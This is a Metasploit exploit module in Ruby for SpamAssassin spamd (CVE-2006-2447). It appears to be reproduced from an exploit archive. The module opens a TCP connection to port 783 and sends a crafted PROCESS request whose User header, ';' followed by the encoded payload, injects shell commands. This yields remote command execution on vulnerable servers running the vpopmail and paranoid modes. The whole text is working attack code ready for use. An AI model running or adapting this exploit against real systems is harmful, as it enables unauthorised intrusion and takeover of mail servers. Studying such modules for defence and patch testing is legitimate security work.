SpamAssassin spamd – Remote Command Execution (Metasploit)
## # $Id: spamassassin_exec.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'SpamAssassin spamd Remote Command Execution', 'Description' => %q{ This module exploits a flaw in the SpamAssassin spamd service by specifying a malicious vpopmail User header, when running with vpopmail and paranoid modes enabled (non-default). Versions prior to v3.1.3 are vulnerable }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2006-2447' ], [ 'OSVDB', '26177' ], [ 'BID', '18290' ], [ 'URL', 'http://spamassassin.apache.org/advisories/cve-2006-2447.txt' ], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic', { }], ], 'DisclosureDate' => 'Jun 06 2006', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(783) ], self.class) end def exploit connect content = Rex::Text.rand_text_alpha(20) sploit = "PROCESS SPAMC/1.2\r\n" sploit << "Content-length: #{(content.length + 2)}\r\n" sploit << "User: ;#{payload.encoded}\r\n\r\n" sploit << content + "\r\n\r\n" sock.put(sploit) handler disconnect end end |